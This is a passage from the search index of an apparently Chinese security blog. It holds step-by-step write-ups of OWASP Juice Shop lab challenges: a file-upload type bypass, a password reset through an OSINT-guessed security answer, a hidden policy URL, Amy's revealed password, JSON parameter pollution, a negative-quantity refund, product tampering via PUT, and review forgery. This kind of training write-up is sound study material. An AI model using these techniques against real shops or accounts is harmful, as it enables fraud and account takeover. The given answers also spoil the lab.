Type：绕过文件类型限制","uri":"/posts/2026/juice-shop-upload-type/#-第三步抓包并发送到-repeater"},{"categories":["security"],"collections":["juice-shop"],"content":"💉 第四步：删除文件扩展名 在 Repeater 中，找到请求体中的文件名字段，删除文件扩展名（如将 1.zip 改为 1）。 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-upload-type/:2:4","tags":["juice-shop","File_Upload","文件上传绕过"],"title":"【juice-shop】★★★ Upload Type：绕过文件类型限制","uri":"/posts/2026/juice-shop-upload-type/#-第四步删除文件扩展名"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第五步：完成挑战 发送修改后的请求，成功上传不符合扩展名要求的文件，挑战完成。 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-upload-type/:2:5","tags":["juice-shop","File_Upload","文件上传绕过"],"title":"【juice-shop】★★★ Upload Type：绕过文件类型限制","uri":"/posts/2026/juice-shop-upload-type/#-第五步完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"通过识别 Jim 的真实身份，利用公开信息推断其安全问题答案（最年长兄弟姐妹的中间名），完成密码重置。","date":"2026-04-09","objectID":"/posts/2026/juice-shop-reset-jims-password/","tags":["juice-shop","OSINT","社会工程学","安全问题"],"title":"【juice-shop】★★★ Reset Jim's Password：通过 OSINT 重置密码","uri":"/posts/2026/juice-shop-reset-jims-password/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★ Reset Jim\u0026rsquo;s Password：通过 OSINT 重置密码 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-reset-jims-password/:0:0","tags":["juice-shop","OSINT","社会工程学","安全问题"],"title":"【juice-shop】★★★ Reset Jim's Password：通过 OSINT 重置密码","uri":"/posts/2026/juice-shop-reset-jims-password/#juice-shop-reset-jims-password通过-osint-重置密码"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 提示 (Hints)\r1. 这项挑战最困难的部分，其实是弄清楚 Jim 究竟是谁。 2. Jim 选了最糟糕的安全问题之一，还选择如实作答。 3. 由于 Jim 是名人，他的问题答案在互联网上公开可查的信息中很容易找到。 4. 即使采用暴力破解法，只要使用正确的词表，也应该能够得出答案。\r","date":"2026-04-09","objectID":"/posts/2026/juice-shop-reset-jims-password/:1:0","tags":["juice-shop","OSINT","社会工程学","安全问题"],"title":"【juice-shop】★★★ Reset Jim's Password：通过 OSINT 重置密码","uri":"/posts/2026/juice-shop-reset-jims-password/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-reset-jims-password/:2:0","tags":["juice-shop","OSINT","社会工程学","安全问题"],"title":"【juice-shop】★★★ Reset Jim's Password：通过 OSINT 重置密码","uri":"/posts/2026/juice-shop-reset-jims-password/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"📧 第一步：获取目标邮箱 从商店的商品评论中找到 Jim 的评论，获取其登录邮箱： jim@juice-sh.op ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-reset-jims-password/:2:1","tags":["juice-shop","OSINT","社会工程学","安全问题"],"title":"【juice-shop】★★★ Reset Jim's Password：通过 OSINT 重置密码","uri":"/posts/2026/juice-shop-reset-jims-password/#-第一步获取目标邮箱"},{"categories":["security"],"collections":["juice-shop"],"content":"🔐 第二步：获取安全问题 在忘记密码页面输入 Jim 的邮箱，系统显示安全问题： 你最年长的兄弟姐妹的中间名？ ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-reset-jims-password/:2:2","tags":["juice-shop","OSINT","社会工程学","安全问题"],"title":"【juice-shop】★★★ Reset Jim's Password：通过 OSINT 重置密码","uri":"/posts/2026/juice-shop-reset-jims-password/#-第二步获取安全问题"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第三步：识别 Jim 的真实身份 又到了最讨厌的 OSINT 环节了…… who is jim 最后查看了攻略……找到了jim是谁，线索得自己拼……多关注一下他的评论就能拼出答案 https://pwning.owasp-juice.shop/companion-guide/latest/appendix/solutions.html#_reset_jims_password_via_the_forgot_password_mechanism ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-reset-jims-password/:2:3","tags":["juice-shop","OSINT","社会工程学","安全问题"],"title":"【juice-shop】★★★ Reset Jim's Password：通过 OSINT 重置密码","uri":"/posts/2026/juice-shop-reset-jims-password/#-第三步识别-jim-的真实身份"},{"categories":["security"],"collections":["juice-shop"],"content":"📖 第四步：查找安全问题答案 一旦确定了 Jim 的真实身份，他最年长兄弟姐妹的中间名就可以通过公开信息查找到。 最终答案： Samuel ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-reset-jims-password/:2:4","tags":["juice-shop","OSINT","社会工程学","安全问题"],"title":"【juice-shop】★★★ Reset Jim's Password：通过 OSINT 重置密码","uri":"/posts/2026/juice-shop-reset-jims-password/#-第四步查找安全问题答案"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第五步：重置密码 在忘记密码页面填写： 邮箱：jim@juice-sh.op 安全问题答案：Samuel 新密码：（自定义） 提交表单，成功重置 Jim 的密码，挑战完成。 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-reset-jims-password/:2:5","tags":["juice-shop","OSINT","社会工程学","安全问题"],"title":"【juice-shop】★★★ Reset Jim's Password：通过 OSINT 重置密码","uri":"/posts/2026/juice-shop-reset-jims-password/#-第五步重置密码"},{"categories":["security"],"collections":["juice-shop"],"content":"参考 https://pwning.owasp-juice.shop/companion-guide/latest/appendix/solutions.html#_reset_jims_password_via_the_forgot_password_mechanism ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-reset-jims-password/:3:0","tags":["juice-shop","OSINT","社会工程学","安全问题"],"title":"【juice-shop】★★★ Reset Jim's Password：通过 OSINT 重置密码","uri":"/posts/2026/juice-shop-reset-jims-password/#参考"},{"categories":["security"],"collections":["juice-shop"],"content":"通过仔细阅读隐私政策并使用开发者工具发现隐藏的 CSS 特效，提取隐藏文本拼接成 URL，访问隐藏页面完成挑战。","date":"2026-04-09","objectID":"/posts/2026/juice-shop-privacy-policy-inspection/","tags":["juice-shop","OSINT","隐藏内容","彩蛋"],"title":"【juice-shop】★★★ Privacy Policy Inspection：通过隐私政策找到隐藏 URL","uri":"/posts/2026/juice-shop-privacy-policy-inspection/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★ Privacy Policy Inspection：通过隐私政策找到隐藏 URL ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-privacy-policy-inspection/:0:0","tags":["juice-shop","OSINT","隐藏内容","彩蛋"],"title":"【juice-shop】★★★ Privacy Policy Inspection：通过隐私政策找到隐藏 URL","uri":"/posts/2026/juice-shop-privacy-policy-inspection/#juice-shop-privacy-policy-inspection通过隐私政策找到隐藏-url"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 提示 (Hints)\r1. 只有访问了一个特殊的 URL，你才能确认你仔细阅读了它。 2. 首先，你显然需要解决\"阅读我们的隐私政策\"这个挑战。 3. 使用鼠标光标来锁定当前阅读的段落是完全可以的。 4. 若在政策中发现某些特别敏感的条款，不妨将它们熔铸融合——正如你可能已经发现的那样，运用高级密码分析技术来寻找真正的彩蛋。\r前置条件： 需要登录，并完成 Privacy Policy 挑战。 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-privacy-policy-inspection/:1:0","tags":["juice-shop","OSINT","隐藏内容","彩蛋"],"title":"【juice-shop】★★★ Privacy Policy Inspection：通过隐私政策找到隐藏 URL","uri":"/posts/2026/juice-shop-privacy-policy-inspection/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-privacy-policy-inspection/:2:0","tags":["juice-shop","OSINT","隐藏内容","彩蛋"],"title":"【juice-shop】★★★ Privacy Policy Inspection：通过隐私政策找到隐藏 URL","uri":"/posts/2026/juice-shop-privacy-policy-inspection/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"📖 第一步：仔细阅读隐私政策 首先，暗示我们线索在隐私政策里面，需要”仔细阅读“ 那么我们进行”仔细阅读“ 这里其实是一个小习惯，使用鼠标光标和视线进行阅读，但是我这么阅读习惯把前面的内容使用光标选择划起来，这里有一个很细微的火焰特效，没看到（雾 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-privacy-policy-inspection/:2:1","tags":["juice-shop","OSINT","隐藏内容","彩蛋"],"title":"【juice-shop】★★★ Privacy Policy Inspection：通过隐私政策找到隐藏 URL","uri":"/posts/2026/juice-shop-privacy-policy-inspection/#-第一步仔细阅读隐私政策"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第二步：发现隐藏的 CSS 特效 于是我打开了F12，在一开始的127.0.0.1有一个很浅显的特效，应该是hot这个css的特效： ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-privacy-policy-inspection/:2:2","tags":["juice-shop","OSINT","隐藏内容","彩蛋"],"title":"【juice-shop】★★★ Privacy Policy Inspection：通过隐私政策找到隐藏 URL","uri":"/posts/2026/juice-shop-privacy-policy-inspection/#-第二步发现隐藏的-css-特效"},{"categories":["security"],"collections":["juice-shop"],"content":"🔎 第三步：提取隐藏文本 那么直接搜索hot css，然后将内容拼接成一句话： We may also instruct you to refuse all reasonably necessary responsibility 完整的隐藏信息为： http://127.0.0.1 We may also instruct you to refuse all reasonably necessary responsibility 意义不明 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-privacy-policy-inspection/:2:3","tags":["juice-shop","OSINT","隐藏内容","彩蛋"],"title":"【juice-shop】★★★ Privacy Policy Inspection：通过隐私政策找到隐藏 URL","uri":"/posts/2026/juice-shop-privacy-policy-inspection/#-第三步提取隐藏文本"},{"categories":["security"],"collections":["juice-shop"],"content":"🔗 第四步：拼接隐藏 URL 根据提示中的\u0026quot;熔铸融合\u0026quot;，将隐藏文本与基础 URL 拼接，形成完整的访问链接： http://127.0.0.1:3000/we/may/also/instruct/you/to/refuse/all/reasonably/necessary/responsibility ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-privacy-policy-inspection/:2:4","tags":["juice-shop","OSINT","隐藏内容","彩蛋"],"title":"【juice-shop】★★★ Privacy Policy Inspection：通过隐私政策找到隐藏 URL","uri":"/posts/2026/juice-shop-privacy-policy-inspection/#-第四步拼接隐藏-url"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第五步：完成挑战 访问拼接后的 URL，即使返回 404，系统也会识别你已访问了正确的隐藏链接，挑战自动完成。 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-privacy-policy-inspection/:2:5","tags":["juice-shop","OSINT","隐藏内容","彩蛋"],"title":"【juice-shop】★★★ Privacy Policy Inspection：通过隐私政策找到隐藏 URL","uri":"/posts/2026/juice-shop-privacy-policy-inspection/#-第五步完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"…… 脑筋急转弯说是 访问正确链接 404 说是 给个纯文字也好啊喂 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-privacy-policy-inspection/:3:0","tags":["juice-shop","OSINT","隐藏内容","彩蛋"],"title":"【juice-shop】★★★ Privacy Policy Inspection：通过隐私政策找到隐藏 URL","uri":"/posts/2026/juice-shop-privacy-policy-inspection/#heading"},{"categories":["security"],"collections":["juice-shop"],"content":"通过分析题目描述和《飞出个未来》剧情，推断 Amy 的密码与其丈夫 Kif 的名字相关，结合密码强化模式完成登录。","date":"2026-04-09","objectID":"/posts/2026/juice-shop-login-amy/","tags":["juice-shop","OSINT","社会工程学","弱密码"],"title":"【juice-shop】★★★ Login Amy：通过 OSINT 推断密码","uri":"/posts/2026/juice-shop-login-amy/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★ Login Amy：通过 OSINT 推断密码 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-login-amy/:0:0","tags":["juice-shop","OSINT","社会工程学","弱密码"],"title":"【juice-shop】★★★ Login Amy：通过 OSINT 推断密码","uri":"/posts/2026/juice-shop-login-amy/#juice-shop-login-amy通过-osint-推断密码"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 提示 (Hints)\r1. 这一挑战将使您陷入大海捞针。 2. 正如《飞出个未来》中众多角色那样，这个挑战当然是要求以剧中 Amy 的身份登录。 3. 您是否知道 Amy 与一个名叫 Kif 的外星人结婚？ 4. 挑战说明中包含几句话，透露了 Amy 决定如何加强密码的信息。 5. 显然，Amy——这个有点迟钝的姑娘——在选择密码时根本没花多少心思，更谈不上什么创意。\r","date":"2026-04-09","objectID":"/posts/2026/juice-shop-login-amy/:1:0","tags":["juice-shop","OSINT","社会工程学","弱密码"],"title":"【juice-shop】★★★ Login Amy：通过 OSINT 推断密码","uri":"/posts/2026/juice-shop-login-amy/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-login-amy/:2:0","tags":["juice-shop","OSINT","社会工程学","弱密码"],"title":"【juice-shop】★★★ Login Amy：通过 OSINT 推断密码","uri":"/posts/2026/juice-shop-login-amy/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"🎯 关键信息分析 题目提示的核心线索： 《飞出个未来》角色 — Amy Wong 是剧中角色 丈夫 Kif — Amy 在剧中与外星人 Kif 结婚 密码强化 — 题目暗示密码包含某种强化模式 缺乏创意 — Amy 的密码设置简单直接 直接给结果，如下 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-login-amy/:2:1","tags":["juice-shop","OSINT","社会工程学","弱密码"],"title":"【juice-shop】★★★ Login Amy：通过 OSINT 推断密码","uri":"/posts/2026/juice-shop-login-amy/#-关键信息分析"},{"categories":["security"],"collections":["juice-shop"],"content":"💻 登录凭据 邮箱：amy@juice-sh.op 密码：K1f..................... 其中 ..................... 表示重复的点号或其他字符，用于满足密码长度要求。 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-login-amy/:2:2","tags":["juice-shop","OSINT","社会工程学","弱密码"],"title":"【juice-shop】★★★ Login Amy：通过 OSINT 推断密码","uri":"/posts/2026/juice-shop-login-amy/#-登录凭据"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 完成挑战 使用上述凭据登录，挑战完成。 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-login-amy/:2:3","tags":["juice-shop","OSINT","社会工程学","弱密码"],"title":"【juice-shop】★★★ Login Amy：通过 OSINT 推断密码","uri":"/posts/2026/juice-shop-login-amy/#-完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"…… 首先，我讨厌 OSINT，其次，我认为这题没有意义，最后，不如直接看官方的答案…… ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-login-amy/:3:0","tags":["juice-shop","OSINT","社会工程学","弱密码"],"title":"【juice-shop】★★★ Login Amy：通过 OSINT 推断密码","uri":"/posts/2026/juice-shop-login-amy/#heading"},{"categories":["security"],"collections":["juice-shop"],"content":"参考 https://pwning.owasp-juice.shop/companion-guide/latest/appendix/solutions.html#_log_in_with_amys_original_user_credentials ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-login-amy/:4:0","tags":["juice-shop","OSINT","社会工程学","弱密码"],"title":"【juice-shop】★★★ Login Amy：通过 OSINT 推断密码","uri":"/posts/2026/juice-shop-login-amy/#参考"},{"categories":["security"],"collections":["juice-shop"],"content":"通过 JSON 参数污染（重复 BasketId 字段），绕过购物车所有权验证，向其他用户的购物车添加商品。","date":"2026-04-09","objectID":"/posts/2026/juice-shop-manipulate-basket/","tags":["juice-shop","Broken_Access_Control"],"title":"【juice-shop】★★★ Manipulate Basket：向他人购物车添加商品","uri":"/posts/2026/juice-shop-manipulate-basket/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★ Manipulate Basket：向他人购物车添加商品 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-manipulate-basket/:0:0","tags":["juice-shop","Broken_Access_Control"],"title":"【juice-shop】★★★ Manipulate Basket：向他人购物车添加商品","uri":"/posts/2026/juice-shop-manipulate-basket/#juice-shop-manipulate-basket向他人购物车添加商品"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 提示 (Hints)\r1. 在将商品放入购物车时，请留意 HTTP 流量。 2. 向他人购物车添加更多相同商品的行为不构成解决方案。同样地，从他人购物车中窃取商品也不行。 3. 这项挑战需要比同类挑战更复杂的篡改手段。\r","date":"2026-04-09","objectID":"/posts/2026/juice-shop-manipulate-basket/:1:0","tags":["juice-shop","Broken_Access_Control"],"title":"【juice-shop】★★★ Manipulate Basket：向他人购物车添加商品","uri":"/posts/2026/juice-shop-manipulate-basket/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-manipulate-basket/:2:0","tags":["juice-shop","Broken_Access_Control"],"title":"【juice-shop】★★★ Manipulate Basket：向他人购物车添加商品","uri":"/posts/2026/juice-shop-manipulate-basket/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"📝 第一步：注册两个测试账户 账户 1： 1@1.com / 11111 账户 2： 2@2.com / 22222 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-manipulate-basket/:2:1","tags":["juice-shop","Broken_Access_Control"],"title":"【juice-shop】★★★ Manipulate Basket：向他人购物车添加商品","uri":"/posts/2026/juice-shop-manipulate-basket/#-第一步注册两个测试账户"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第二步：抓取购物车请求 打开 Burp Suite，分别用两个账户各添加一次商品到购物车，捕获请求包。 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-manipulate-basket/:2:2","tags":["juice-shop","Broken_Access_Control"],"title":"【juice-shop】★★★ Manipulate Basket：向他人购物车添加商品","uri":"/posts/2026/juice-shop-manipulate-basket/#-第二步抓取购物车请求"},{"categories":["security"],"collections":["juice-shop"],"content":"📊 第三步：分析请求体 观察请求体内容，包含以下关键字段： ProductId — 商品 ID BasketId — 购物车 ID quantity — 数量 当前状态： 用户 1 的 BasketId：6 用户 2 的 BasketId：7 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-manipulate-basket/:2:3","tags":["juice-shop","Broken_Access_Control"],"title":"【juice-shop】★★★ Manipulate Basket：向他人购物车添加商品","uri":"/posts/2026/juice-shop-manipulate-basket/#-第三步分析请求体"},{"categories":["security"],"collections":["juice-shop"],"content":"💉 第四步：利用 JSON 参数污染 使用用户 2 的身份，将请求发送到 Repeater。直接修改 BasketId 为用户 1 的购物车 ID（6）会返回 401 错误。 关键技巧： 使用 JSON 参数污染，在请求体中重复添加 BasketId 字段： 当 JSON 解析器遇到重复的键时，通常会使用最后一个值（6），从而绕过购物车所有权验证。 发送请求，成功向用户 1 的购物车添加商品。 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-manipulate-basket/:2:4","tags":["juice-shop","Broken_Access_Control"],"title":"【juice-shop】★★★ Manipulate Basket：向他人购物车添加商品","uri":"/posts/2026/juice-shop-manipulate-basket/#-第四步利用-json-参数污染"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第五步：完成挑战 成功向他人购物车添加商品，挑战完成。 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-manipulate-basket/:2:5","tags":["juice-shop","Broken_Access_Control"],"title":"【juice-shop】★★★ Manipulate Basket：向他人购物车添加商品","uri":"/posts/2026/juice-shop-manipulate-basket/#-第五步完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"总结 这个挑战的核心在于 JSON 参数污染： 技巧 说明 重复参数 在 JSON 中重复定义同一个键 解析器行为 不同的 JSON 解析器处理重复键的方式不同 绕过验证 后端验证使用第一个值，但处理时使用最后一个值 第一时间没想起来有这个操作，看来还是经验太少了…… 继续某位可爱大佬的教诲培养直觉（ ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-manipulate-basket/:3:0","tags":["juice-shop","Broken_Access_Control"],"title":"【juice-shop】★★★ Manipulate Basket：向他人购物车添加商品","uri":"/posts/2026/juice-shop-manipulate-basket/#总结"},{"categories":["security"],"collections":["juice-shop"],"content":"参考 https://pwning.owasp-juice.shop/companion-guide/latest/appendix/solutions.html#_put_an_additional_product_into_another_users_shopping_basket ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-manipulate-basket/:4:0","tags":["juice-shop","Broken_Access_Control"],"title":"【juice-shop】★★★ Manipulate Basket：向他人购物车添加商品","uri":"/posts/2026/juice-shop-manipulate-basket/#参考"},{"categories":["security"],"collections":["juice-shop"],"content":"通过篡改购物车请求，将商品数量设置为负数，使订单总额变为负数，从而获得退款而非支付。","date":"2026-04-09","objectID":"/posts/2026/juice-shop-payback-time/","tags":["juice-shop","Broken_Access_Control","业务逻辑漏洞"],"title":"【juice-shop】★★★ Payback Time：通过负数数量获利","uri":"/posts/2026/juice-shop-payback-time/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★ Payback Time：通过负数数量获利 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-payback-time/:0:0","tags":["juice-shop","Broken_Access_Control","业务逻辑漏洞"],"title":"【juice-shop】★★★ Payback Time：通过负数数量获利","uri":"/posts/2026/juice-shop-payback-time/#juice-shop-payback-time通过负数数量获利"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 提交一个让你变得更富有的订单。 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-payback-time/:1:0","tags":["juice-shop","Broken_Access_Control","业务逻辑漏洞"],"title":"【juice-shop】★★★ Payback Time：通过负数数量获利","uri":"/posts/2026/juice-shop-payback-time/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 💡 前置思路 让商品单价在结算的时候变成负数 让商品数量在结算的时候变成负数 这会导致订单总额为负，系统反向扣款，用户反而获得金额。 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-payback-time/:2:0","tags":["juice-shop","Broken_Access_Control","业务逻辑漏洞"],"title":"【juice-shop】★★★ Payback Time：通过负数数量获利","uri":"/posts/2026/juice-shop-payback-time/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"💰 第一步：充值钱包余额 首先，从不存在的信用卡搞点钱 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-payback-time/:2:1","tags":["juice-shop","Broken_Access_Control","业务逻辑漏洞"],"title":"【juice-shop】★★★ Payback Time：通过负数数量获利","uri":"/posts/2026/juice-shop-payback-time/#-第一步充值钱包余额"},{"categories":["security"],"collections":["juice-shop"],"content":"🛒 第二步：正常购买一次商品 添加商品到购物车，进行一次正常的购买流程，捕获请求包。 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-payback-time/:2:2","tags":["juice-shop","Broken_Access_Control","业务逻辑漏洞"],"title":"【juice-shop】★★★ Payback Time：通过负数数量获利","uri":"/posts/2026/juice-shop-payback-time/#-第二步正常购买一次商品"},{"categories":["security"],"collections":["juice-shop"],"content":"📊 第三步：分析请求参数 观察请求体中的关键参数： ProductId — 商品 ID BasketId — 购物车 ID quantity — 数量（关键字段） ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-payback-time/:2:3","tags":["juice-shop","Broken_Access_Control","业务逻辑漏洞"],"title":"【juice-shop】★★★ Payback Time：通过负数数量获利","uri":"/posts/2026/juice-shop-payback-time/#-第三步分析请求参数"},{"categories":["security"],"collections":["juice-shop"],"content":"💉 第四步：篡改数量为负数 将请求发送到 Repeater，修改 quantity 字段为负数（如 -1）： 发送请求，成功在购物车中添加负数数量的商品。 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-payback-time/:2:4","tags":["juice-shop","Broken_Access_Control","业务逻辑漏洞"],"title":"【juice-shop】★★★ Payback Time：通过负数数量获利","uri":"/posts/2026/juice-shop-payback-time/#-第四步篡改数量为负数"},{"categories":["security"],"collections":["juice-shop"],"content":"💵 第五步：结账获利 查看购物车，订单总额已变为负数。 进行结账，系统反向扣款，账户余额增加，挑战完成。 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-payback-time/:2:5","tags":["juice-shop","Broken_Access_Control","业务逻辑漏洞"],"title":"【juice-shop】★★★ Payback Time：通过负数数量获利","uri":"/posts/2026/juice-shop-payback-time/#-第五步结账获利"},{"categories":["security"],"collections":["juice-shop"],"content":"通过直接调用 /api/products API 的 PUT 方法，篡改 O-Saft 商品的描述链接，将其指向 https://owasp.slack.com。","date":"2026-04-09","objectID":"/posts/2026/juice-shop-product-tampering/","tags":["juice-shop","Broken_Access_Control","API_滥用"],"title":"【juice-shop】★★★ Product Tampering：篡改商品描述链接","uri":"/posts/2026/juice-shop-product-tampering/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★ Product Tampering：篡改商品描述链接 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-product-tampering/:0:0","tags":["juice-shop","Broken_Access_Control","API_滥用"],"title":"【juice-shop】★★★ Product Tampering：篡改商品描述链接","uri":"/posts/2026/juice-shop-product-tampering/#juice-shop-product-tampering篡改商品描述链接"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 更改 OWASP SSL 高级取证工具（O-Saft）中链接的 href 为 https://owasp.slack.com。 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-product-tampering/:1:0","tags":["juice-shop","Broken_Access_Control","API_滥用"],"title":"【juice-shop】★★★ Product Tampering：篡改商品描述链接","uri":"/posts/2026/juice-shop-product-tampering/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-product-tampering/:2:0","tags":["juice-shop","Broken_Access_Control","API_滥用"],"title":"【juice-shop】★★★ Product Tampering：篡改商品描述链接","uri":"/posts/2026/juice-shop-product-tampering/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第一步：定位目标商品 开启bp抓包 在商店中搜索或点击题目中的 O-Saft 商品链接。 从请求包上面来看这个商品id可能为9 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-product-tampering/:2:1","tags":["juice-shop","Broken_Access_Control","API_滥用"],"title":"【juice-shop】★★★ Product Tampering：篡改商品描述链接","uri":"/posts/2026/juice-shop-product-tampering/#-第一步定位目标商品"},{"categories":["security"],"collections":["juice-shop"],"content":"🔑 第二步：发现 API 端点 这里需要前面挑战查到到的api（如果没有，那么可以看看main.js里面列出api，一个个先试试，看看返回什么） 使用PUT方法，将以下内容当作结构体写入进请求包，api是/api/products/9，9是商品id PUT /api/products/9 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-product-tampering/:2:2","tags":["juice-shop","Broken_Access_Control","API_滥用"],"title":"【juice-shop】★★★ Product Tampering：篡改商品描述链接","uri":"/posts/2026/juice-shop-product-tampering/#-第二步发现-api-端点"},{"categories":["security"],"collections":["juice-shop"],"content":"💉 第三步：篡改商品描述 使用 Burp Suite 或 Postman，向 /api/products/9 发送 PUT 请求，请求体包含修改后的描述： 请求方法： PUT 请求 URL： http://127.0.0.1:3000/api/products/9 请求体（JSON）： 发送请求，服务器返回成功响应。 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-product-tampering/:2:3","tags":["juice-shop","Broken_Access_Control","API_滥用"],"title":"【juice-shop】★★★ Product Tampering：篡改商品描述链接","uri":"/posts/2026/juice-shop-product-tampering/#-第三步篡改商品描述"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第四步：验证修改 重新访问 O-Saft 商品页面，确认描述中的链接已更改为 https://owasp.slack.com，挑战完成。 ","date":"2026-04-09","objectID":"/posts/2026/juice-shop-product-tampering/:2:4","tags":["juice-shop","Broken_Access_Control","API_滥用"],"title":"【juice-shop】★★★ Product Tampering：篡改商品描述链接","uri":"/posts/2026/juice-shop-product-tampering/#-第四步验证修改"},{"categories":["security"],"collections":["juice-shop"],"content":"通过拦截商品评论请求，篡改 author 字段为其他用户名，以他人身份发布或编辑商品评论。","date":"2026-04-08","objectID":"/posts/2026/juice-shop-forged-review/","tags":["juice-shop","Broken Access Control","身份伪造"],"title":"【juice-shop】★★★ Forged Review：伪造他人商品评论","uri":"/posts/2026/juice-shop-forged-review/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★ Forged Review：伪造他人商品评论 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-forged-review/:0:0","tags":["juice-shop","Broken Access Control","身份伪造"],"title":"【juice-shop】★★★ Forged Review：伪造他人商品评论","uri":"/posts/2026/juice-shop-forged-review/#juice-shop-forged-review伪造他人商品评论"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 以另一个用户名义发布商品评论或编辑已有的用户评论。 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-forged-review/:1:0","tags":["juice-shop","Broken Access Control","身份伪造"],"title":"【juice-shop】★★★ Forged Review：伪造他人商品评论","uri":"/posts/2026/juice-shop-forged-review/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-forged-review/:2:0","tags":["juice-shop","Broken Access Control","身份伪造"],"title":"【juice-shop】★★★ Forged Review：伪造他人商品评论","uri":"/posts/2026/juice-shop-forged-review/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第一步：抓取评论请求 …… 打开 Burp Suite，登录一个账户，对某个商品进行评论，捕获评论提交请求。 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-forged-review/:2:1","tags":["juice-shop","Broken Access Control","身份伪造"],"title":"【juice-shop】★★★ Forged 